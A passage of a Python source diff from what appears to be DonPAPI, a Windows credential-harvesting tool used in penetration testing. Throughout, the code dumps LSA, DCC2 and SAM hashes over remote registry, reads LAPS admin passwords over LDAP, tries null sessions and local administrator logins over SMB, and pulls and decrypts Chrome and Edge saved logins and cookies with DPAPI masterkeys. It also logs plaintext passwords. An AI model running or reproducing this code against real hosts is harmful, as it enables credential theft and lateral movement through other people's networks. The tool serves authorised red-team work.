{secret.split(b'dpapi_userkey:')[1].decode('utf-8')}") - self.user_key.append(secret.split(b'dpapi_userkey:')[1]) - self.logging.debug(self.user_key) - if b':' in secret: - if secret.count(b':') == 1: - username, password = secret.split(b':') - if username.decode('utf-8') not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']: - if username.decode('utf-8') not in self.options.credz: - - self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')] - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}") - - else: - if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]: - self.options.credz[username.decode('utf-8')].append(password.decode('utf-8')) - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}") - ############PROCESSING DATA - self.db.add_credz(credz_type='LSA', - credz_username=username.decode('utf-8'), - credz_password=password.decode('utf-8'), - credz_target='', - credz_path=tmp_filedest, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username='MACHINE$') - - else: - self.logging.debug("Secret %i - %s" % (index, secret)) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Except remoteOps Secrets") - self.logging.debug(ex) - - try: - ##Add DCC2 - - tmp_filedest = filedest + '.cached' - f = open(tmp_filedest, 'rb') - secrets = f.read().split(b'\n') - f.close() - for index, secret in enumerate(secrets): - if b':' in secret and b'#' in secret: - if secret.count(b':') == 1: - username, password = secret.split(b':') - self.logging.debug( - f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}") - ############PROCESSING DATA - self.db.add_credz(credz_type='DCC2', - credz_username=username.decode('utf-8'), - credz_password=password.decode('utf-8'), - credz_target='', - credz_path=tmp_filedest, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username='MACHINE$') - - else: - self.logging.debug("Secret %i - %s" % (index, secret)) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Except remoteOps LSA DCC2") - self.logging.debug(ex) - - try: - # Add SAM - self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}") - SAMFileName = self.__remoteOps.saveSAM() - self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True) - self.__SAMHashes.dump() - filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'SAM') - self.__SAMHashes.export(filedest) - # Adding SAM hash to credz - tmp_filedest = filedest + '.sam' - f = open(tmp_filedest, 'rb') - sam_data = f.read().split(b'\n') - f.close() - for sam_line in sam_data: - if b':' in sam_line: - if sam_line.count(b':') == 6: - username, sid, lm, ntlm, _, _, _ = sam_line.split(b':') - # On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi - ''' - if username.decode('utf-8') not in self.options.credz: - self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')] - else: - if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]: - self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8')) - ''' - ############PROCESSING DATA - self.db.add_credz(credz_type='SAM', - credz_username=username.decode('utf-8'), - credz_password=ntlm.decode('utf-8'), - credz_target='', - credz_path=tmp_filedest, - pillaged_from_computer_ip=self.options.target_ip, - pillaged_from_username='MACHINE$') - self.logging.info( - f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}") - # logging.getLogger().setLevel(logging.DEBUG) - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Except remoteOps SAM") - self.logging.debug(ex) - self.__remoteOps.finish() - return 1 - - def GetRecentFiles(self): - myRecentFiles = recent_files(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db, - self.users) - myRecentFiles.run() - - def GetMRemoteNG(self): - from donpapi.software.manager.mRemoteNG import mRemoteNG - myMRemoteNG = mRemoteNG(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db, - self.users) - myMRemoteNG.run() - - def GetPutty(self): - from donpapi.software.sysadmin.putty import Putty - myPutty = Putty(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db) - myPutty.run() - - def GetWinscp(self): - from donpapi.software.sysadmin.winscp import Winscp - myWinscp = Winscp(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db) - myWinscp.run() - - def GetNew_Module(self): - myNewModule = new_module(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db, - self.users) - myNewModule.run() - - def GetCertificates(self): - certificates_triage = CertificatesTriage(self.smb, self.myregops, self.myfileops, self.logging, self.options, - self.db, self.users, self.user_key, self.machine_key) - certificates_triage.run() - - def do_test(self): - try: - if self.admin_privs and True: - # self.do_info() - self.do_who() - self.get_users() - # - - if self.options.no_remoteops == False: - try: - self.test_remoteOps() - except Exception as ex: - self.logging.debug( - f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ") - self.logging.debug(f"exception was : {ex}") - # self. - if self.options.no_dpapi == False: - self.get_masterkeys() - self.Get_DPAPI_Protected_Files() - self.GetWifi() - self.GetVaults() - self.GetCertificates() - if self.options.no_browser == False: - self.GetChromeSecrets() - self.GetEdgeSecrets() - self.GetMozillaSecrets_wrapper() - if self.options.no_sysadmins == False: - self.GetMRemoteNG() - self.GetPutty() - self.GetWinscp() - if self.options.no_vnc == False: - self.GetVNC() - if self.options.no_recent == False: - self.GetRecentFiles() - - """ - ***Dev your new module code and start it from here - - if self.options.no_new_module == False: - self.GetNew_Module() - """ - - # self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}") - # for user in self.users: - # user.resume_user_info() - # user.resume_secrets() - # else: - # NOT ADMIN - self.quit() - - - except Exception as ex: - self.logging.debug(f"[{self.options.target_ip}] Not connected") - self.logging.debug(f"exception was : {ex}") - - def get_secrets(self): - all_secrets = {} - for user in self.users: - all_secrets[user] = user.get_secrets() + """MySeatBelt class.""" + def __init__(self, target, options, logger, verbose=1): + self.host = target + self.options = copy.deepcopy(options) + self.options.target_ip = target + self.options.timeout = 5 + # options.target_ip=target + self.logging = logger + self.smb = None + + # self.username = options.username + # self.password = options.password + # self.domain = options.domain + + """ + msg_debug = f"[{target}] [-] initialising smb connection to {options.domain} / " \ + f"{options.username} : {options.password}, @ {options.dc_ip} , Hash :" \ + f" {options.lmhash} : { options.nthash}, AESKey {options.aesKey}" + self.logging.info(msg_debug) + smb_client = SMBConnection(options.address, target, sess_port=int(options.port)) + if options.k is True: + smb_client.kerberosLogin(options.username, options.password, options.domain, + options.lmhash, options.nthash, options.aesKey, options.dc_ip ) + else: + smb_client.login(options.username, options.password, options.domain, options.lmhash, + options.nthash) + + self.smb = smb_client + """ + + # Init all + self.smbv1 = False + self.admin_privs = False + # self.username, self.password, self.domain, self.lmhash, self.nthash, \ + # self.aesKey, self.TGT, self.TGS = self.smb.getCredentials() + self.share = None + self.last_output = None + self.completion = [] + self.users = [] + self.user_path = '' + self.machine_key = [] + self.user_key = [] + + # self.options[logging] = logge + self.myfileops = None + self.myregops = None + # self.myfileops = MyFileOps(self.smb,self.logging,self.options) + self.credz = options.credz + self.__remoteOps = None + self.__bootKey = b'' + self.__SAMHashes = None + self.__LSASecrets = None + self.global_logfile = b'globallog.log' + self.init_connect() + + def init_connect(self): + """Init SQLite connection.""" + try: + sqlite_database = sqlite3.connect(self.options.db_path, check_same_thread=False) + self.db = Database(sqlite_database, self.logging) + if self.create_conn_obj(): + # self.do_info_rpc_unauth() + self.do_info_unauth() + self.create_conn_obj() + if self.login_conn(): + self.is_admin() + if self.admin_privs: + self.myfileops = MyFileOps(self.smb, self.logging, self.options) + self.myregops = MyRegOps(self.logging, self.options) + return True + else: + return False + return False + except Exception: + self.logging.debug("Error init connect") + return False + + def create_smbv1_conn(self): + """Create SMBv1 connection.""" + try: + self.smb = SMBConnection(self.host, self.host, None, self.options.port, + preferredDialect=SMB_DIALECT, timeout=self.options.timeout) + self.smbv1 = True + self.logging.debug(f"SMBv1 OK on {self.host} - {self.options.target_ip}") + except socket.error as exc: + if "Connection reset by peer" in str(exc): + self.logging.debug(f"SMBv1 might be disabled on {self.host}") + return False + except Exception as exc: + self.logging.debug(f"Error creating SMBv1 connection to {self.host}: {str(exc)}") + return False + + return True + + def create_smbv3_conn(self): + """Create SMBv3 connection.""" + try: + self.smb = SMBConnection(self.host, self.host, None, self.options.port, + timeout=self.options.timeout) + self.smbv1 = False + logging.debug(f"SMBv3 OK on {self.host} - {self.options.target_ip}") + except Exception as exc: + self.logging.debug(f"Error creating SMBv3 connection to {self.host}: {exc}") + self.db.add_computer(ip=self.host, connectivity=f"{exc}") + return False + + return True + + def create_conn_obj(self): + """Create connection object.""" + # self.logging.info(f"[{self.options.target_ip}] [-] Initializing SMB connection " \ + # f"to {self.options.domain} / {self.options.username} : " \ + # f"{self.options.password}, @ {self.options.dc_ip} , Hash : " \ + # f"{self.options.lmhash} : {self.options.nthash}, " \ + # f"AESKey {self.options.aesKey}") + self.logging.debug(f"[{self.options.target_ip}] [-] Initializing SMB connection ...") + if self.create_smbv1_conn(): + return True + if self.create_smbv3_conn(): + return True + return False + + def close_smb(self): + """Close SMB connection.""" + try: + self.logging.debug(f"[{self.options.target_ip}] [-] Closing SMB connection ...") + # self.myfileops.close() + # self.myregops.close() + # self.smb.close() + self.logging.debug(f"[{self.options.target_ip}] [-] SMB closed ...") + except Exception: + self.logging.debug('Error in closing SMB connection') + return False + + def get_laps(self): + """Get LAPS.""" + try: + self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \ + f"admin password on {self.options.hostname} - domain " \ + f"{self.options.domain} : dcip {self.options.dc_ip}") + ldap_domain = 'dc=' + ldap_domain += ",dc=".join(self.options.domain.split('.').split('.')) + + if self.options.dc_ip is not None: + srv = Server(self.options.dc_ip, get_info=ALL) + else: + srv = Server(self.options.domain, get_info=ALL) + conn = Connection(srv, user=self.options.domain + "\\" + self.options.username, + password=self.options.password, authentication=NTLM, + auto_bind=True) + conn.search(search_base=f"{ldap_domain}", + search_filter=f'(&(cn={self.options.hostname})(ms-MCS-AdmPwd=*))', + attributes=['ms-MCS-AdmPwd', 'SAMAccountname']) + self.logging.debug(f"[{self.options.target_ip}] [-] Using LAPS to get Local " \ + f"admin password on {self.options.hostname} - " \ + f"{ldap_domain} - got {len(conn.entries)} match") + if len(conn.entries) == 1: + # for entry in c.entries[0]: + entry = conn.entries[0] + # self.options.username = str(entry['sAMAccountName']) + self.options.password = str(entry['ms-Mcs-AdmPwd']) + # self.username = self.options.username + # self.password = self.options.password + self.options.local_auth = True + self.options.domain = self.options.hostname + return True + else: + return False + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} " \ + f"in get LAPS {bcolors.ENDC}") + self.logging.debug(ex) + return False + + def login_conn(self, username=None, password=None, domain=None): + try: + if username is None: + username = self.options.username + if password == None: + password = self.options.password + if domain == None: + domain = self.options.domain + # smbClient = SMBConnection(options.address, target, sess_port=int(options.port)) + if self.options.k is True: + self.logging.debug( + f"[{self.options.target_ip}] [-] initialising smb Kerberos Authentification to {self.options.domain} / {self.options.username} : {self.options.password}, @ {self.options.dc_ip} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.smb.kerberosLogin(username, password, domain, self.options.lmhash, self.options.nthash, + self.options.aesKey, self.options.dc_ip) + return True + # elif self.options.hashes != None: + else: + if self.options.laps is True and username != '' and password != '': # not doing LAPS for null session + if (self.get_laps()): + for username in ['administrator', 'administrateur', 'administrador']: + try: + self.logging.debug( + f"[{self.options.target_ip}] [-] initialising smb Local Authentification to {self.options.domain} / {username} : {self.options.password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.smb.login(username, self.options.password, self.options.domain, + self.options.lmhash, self.options.nthash, ntlmFallback=True) + self.options.username = username + if username not in self.options.credz: + self.options.credz[username] = [self.options.password] + else: + self.options.credz[username].append(self.options.password) + return True + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection - LAPS with {bcolors.ENDC}") + self.logging.debug(ex) + continue + else: + if username == "" and password == "": + try: + self.logging.debug( + f"[{self.options.target_ip}] [-] initialising smb NullSession to {self.host}") + self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, + ntlmFallback=True) + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} in NullSession {bcolors.ENDC}") + self.logging.debug(ex) + return False + else: + self.logging.debug( + f"[{self.options.target_ip}] [-] initialising smb Authentification to {domain} / {username} : {password}, @ {self.host} , Hash : {self.options.lmhash} : {self.options.nthash}, AESKey {self.options.aesKey}") + self.smb.login(username, password, domain, self.options.lmhash, self.options.nthash, + ntlmFallback=True) + '''except : #self.smb.STATUS_LOGON_FAILURE : + try: + if domain != self.hostname: + #Trying localy + self.smb.login(username, password, self.hostname, self.options.lmhash, self.options.nthash, ntlmFallback=True) + return True + else:#On pourrait tenter une connexion domain, mais on risque d'augmenter le compte des erreurs + self.logging.error(f"[{self.options.target_ip}] Error {bcolors.WARNING} Connexion refused with credentials {domain}/{username}:{password}@{self.host} {bcolors.ENDC}") + return False + except Exception as ex: + self.logging.error(f"[{self.options.target_ip}] Exception {bcolors.WARNING} Connexion Error in Local attempt {bcolors.ENDC}") + self.logging.debug(ex) + return False''' + # self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = self.smb.getCredentials() + return True + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} in LOGIN_Connection {bcolors.ENDC}") + self.logging.debug(ex) + return False + + def GetUserByName(self, username): + for user in self.users: + if user.username == username: + return user + else: + self.logging.debug("User %s Not found in self.users" % username) + + def is_admin(self): + self.logging.debug(f"[{self.options.target_ip}] Checking if is admin ") + self.admin_privs = False + try: + self.smb.connectTree("C$") + self.admin_privs = True + self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKBLUE}Is ADMIN{bcolors.ENDC}") + self.db.update_computer(ip=self.options.target_ip, is_admin=True) + except SessionError as e: + self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception in IS ADMIN{bcolors.ENDC}") + self.logging.debug(f"[{self.options.target_ip}] {e}") + self.db.update_computer(ip=self.options.target_ip, is_admin=False) + pass + return self.admin_privs + + def do_info_unauth(self): + # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + try: + # Null session to get basic infos + self.login_conn(username='', password='') + # self.domain = self.smb.getServerDNSDomainName() + self.options.hostname = self.smb.getServerName() + # self.options.hostname=self.hostname + self.server_os = self.smb.getServerOS() + self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[ + 'RequireSigning'] + # self.os_arch = self.get_os_arch() + if self.options.domain == '': # no domain info == local auth + self.options.domain = self.options.hostname + # elif self.options.domain != '': + # self.domain = self.options.domain + + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.options.hostname}{bcolors.ENDC} (domain:{self.smb.getServerDNSDomainName()}) ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]") + self.db.add_computer(ip=self.options.target_ip, hostname=self.options.hostname, + domain=self.smb.getServerDNSDomainName(), os=self.server_os, + smb_signing_enabled=self.signing, smbv1_enabled=self.smbv1) + + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO UNAUTH {bcolors.ENDC}") + self.logging.debug(ex) + + def do_info_rpc_unauth(self): + try: + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', + smb_connection=self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrServerGetInfo(dce, 102) + self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) + self.hostname = resp['InfoStruct']['ServerInfo102']['sv102_name'] + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO {bcolors.ENDC}") + self.logging.debug(ex) + + def do_info_with_auth(self): + # self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] + try: + # Null session to get basic infos + self.login_conn() + # self.domain = self.smb.getServerDNSDomainName() + self.options.hostname = self.smb.getServerName() + self.server_os = self.smb.getServerOS() + self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection[ + 'RequireSigning'] + # self.os_arch = self.get_os_arch() + if not self.domain and self.options.domain == '': + self.domain = self.options.hostname + elif self.options.domain != '': + self.domain = self.options.domain + + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) {self.hostname} ({self.server_os}) [SMB Signing {'Enabled' if self.signing else 'Disabled'}]") + # IP# print(self.smb.getRemoteHost()) + # print(self.smb.getServerDNSDomainName()) + rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename=r'\srvsvc', + smb_connection=self.smb) + dce = rpctransport.get_dce_rpc() + dce.connect() + dce.bind(srvs.MSRPC_UUID_SRVS) + resp = srvs.hNetrServerGetInfo(dce, 102) + # self.signing = self.smb.isSigningRequired() if self.smbv1 else self.smb._SMBConnection._Connection['RequireSigning'] + # self.os_arch = self.get_os_arch() + + # self.logging.debug("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major']) + # self.logging.debug("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor']) + # self.logging.debug("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name']) + # self.logging.debug("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment']) + # self.logging.debug("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath']) + # self.logging.debug("Simultaneous Users: %d" % resp['InfoStruct']['ServerInfo102']['sv102_users']) + # USE user path + self.user_path = resp['InfoStruct']['ServerInfo102']['sv102_userpath'] + + self.db.add_computer(ip=self.options.target_ip, hostname=self.hostname, domain=self.domain, + os=self.server_os) + self.logging.info( + f"[{self.options.target_ip}] [+] {bcolors.OKBLUE}{self.hostname}{bcolors.ENDC} (domain:{self.domain}) ({self.server_os} - {resp['InfoStruct']['ServerInfo102']['sv102_comment']} -{resp['InfoStruct']['ServerInfo102']['sv102_userpath']} - {resp['InfoStruct']['ServerInfo102']['sv102_users']})") + + except Exception as ex: + self.logging.debug(f"[{self.options.target_ip}] Exception {bcolors.WARNING} in DO INFO AUTH{bcolors.ENDC}") + self.logging.debug(ex) + + def logsecret(self, data): + try: + fh = open(self.global_logfile, 'ab') + fh.write(data.encode()) + fh.close() + self.logging.info(f"[{self.options.target_ip}] [+] {bcolors.OKGREEN} {data} {bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception logsecret for {data} {bcolors.ENDC}") + self.logging.debug(ex) + + + def GetEdgeSecrets(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering MSEdge Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + + user_directories = [("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Local State', + 'ChromeLocalState', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Cookies', + 'ChromeCookies', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", + 'Extension Cookies', 'ChromeCookies', 'DOMAIN'), + ( + "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Network", 'Cookies', + 'ChromeCookies', 'DOMAIN'), + ( + "Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Safe Browsing Network", + 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default", 'Login Data', + 'ChromeLoginData', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Microsoft\\Edge\\User Data", 'Last Version', + 'ChromeVersion', 'DOMAIN'), + ] + + for user in self.users: + if user.username == 'MACHINE$': + continue + else: + directories_to_use = user_directories + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None + myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username, type="MSEdge") + + # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir, my_mask, my_blob_type, my_user_type = info + tmp_pwd = my_dir.format( + username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + self.logging.debug( + f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + # myoptions = copy.deepcopy(self.options) + if my_blob_type == 'ChromeLocalState': + try: + myChromeSecrets.localstate_path = localfile + guid = myChromeSecrets.get_masterkey_guid_from_localstate() + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + myChromeSecrets.masterkey = masterkey['key'] + aesKey = myChromeSecrets.get_AES_key_from_localstate( + masterkey=masterkey['key']) + if aesKey != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeLoginData': + try: + myChromeSecrets.logindata_path = localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + logins = myChromeSecrets.decrypt_chrome_LoginData() + user.files[longname]['secret'] = logins + if logins is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting logindata for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeCookies': + try: + myChromeSecrets.cookie_path = localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + cookies = myChromeSecrets.decrypt_chrome_CookieData() + user.files[longname]['secret'] = cookies + if cookies is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeVersion': + try: + myChromeSecrets.version_path = localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + user.files[longname]['path'] = localfile + cookies = myChromeSecrets.get_chrome_Version() + user.files[longname]['secret'] = cookies + if cookies is not None: + user.files[longname]['status'] = 'decrypted' + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting CookieData for CHROME {user.username} {localfile} {bcolors.ENDC}") + self.logging.debug(ex) + + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting Blob for {localfile} with Masterkey{bcolors.ENDC}") + self.logging.debug(ex) + + def GetMozillaSecrets_wrapper(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Mozilla Secrets {bcolors.ENDC}") + + for user in self.users: + if user.username == 'MACHINE$': + continue + try: + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None + myFirefoxSecrets = FIREFOX_LOGINS(myoptions, self.logging, user, self.myfileops, self.db) + myFirefoxSecrets.run() + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception GetMozillaSecrets_wrapper for {user.username} {bcolors.ENDC}") + self.logging.debug(ex) + + def GetChromeSecrets(self): + self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE}[+] Gathering Chrome Secrets {bcolors.ENDC}") + blacklist = ['.', '..'] + # Parse chrome + # autres navigateurs ? + + user_directories = [("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Local State', + 'ChromeLocalState', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Cookies', + 'ChromeCookies', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", + 'Extension Cookies', 'ChromeCookies', 'DOMAIN'), + ( + "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Network", 'Cookies', + 'ChromeCookies', 'DOMAIN'), + ( + "Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Safe Browsing Network", + 'Safe Browsing Cookies', 'ChromeCookies', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data\\Default", 'Login Data', + 'ChromeLoginData', 'DOMAIN'), + ("Users\\{username}\\AppData\\Local\\Google\\Chrome\\User Data", 'Last Version', + 'ChromeVersion', 'DOMAIN'), + ] + + for user in self.users: + if user.username == 'MACHINE$': + continue + else: + directories_to_use = user_directories + myoptions = copy.deepcopy(self.options) + myoptions.file = None # "chrome_enc_blob.tmp" # BLOB to parse + myoptions.key = None + myoptions.masterkeys = None + myChromeSecrets = CHROME_LOGINS(myoptions, self.logging, self.db, user.username) + + # if len(user.masterkeys)>0:#Pas de masterkeys==pas de datas a recup + for info in directories_to_use: + my_dir, my_mask, my_blob_type, my_user_type = info + tmp_pwd = my_dir.format( + username=user.username) # tmp_pwd = f"Users\\{user.username}\\{my_dir}"#ntpath.join(ntpath.join('Users', user.username), my_dir) + self.logging.debug( + f"[{self.options.target_ip}] Looking for {user.username} files in {tmp_pwd} with mask {my_mask}") + my_directory = self.myfileops.do_ls(tmp_pwd, my_mask, display=False) + for infos in my_directory: + longname, is_directory = infos + self.logging.debug("ls returned file %s" % longname) + if longname not in blacklist and not is_directory: + try: + self.logging.debug( + f"[{self.options.target_ip}] [+] Found {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome files : {longname}") + # Downloading Blob file + localfile = self.myfileops.get_file(ntpath.join(tmp_pwd, longname), allow_access_error=True) + # myoptions = copy.deepcopy(self.options) + if my_blob_type == 'ChromeLocalState': + try: + myChromeSecrets.localstate_path = localfile + guid = myChromeSecrets.get_masterkey_guid_from_localstate() + if guid != None: + masterkey = self.get_masterkey(user=user, guid=guid, type=my_user_type) + if masterkey != None: + if masterkey['status'] == 'decrypted': + myChromeSecrets.masterkey = masterkey['key'] + aesKey = myChromeSecrets.get_AES_key_from_localstate( + masterkey=masterkey['key']) + if aesKey != None: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull of {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Chrome AES Key {aesKey} {bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State - Masterkey not decrypted{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey- cant get masterkey {guid}{bcolors.ENDC}") + else: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Error decrypting AES Key for Chrome Local State with Masterkey - can t get the GUID of masterkey from blob file{bcolors.ENDC}") + except Exception as ex: + self.logging.debug( + f"[{self.options.target_ip}] {bcolors.WARNING}Exception in ChromeLocalState{bcolors.ENDC}") + self.logging.debug(ex) + if my_blob_type == 'ChromeLoginData': + try: + myChromeSecrets.logindata_path = localfile + user.files[longname] = {} + user.files[longname]['type'] = my_blob_type + user.files[longname]['status'] = 'encrypted' + 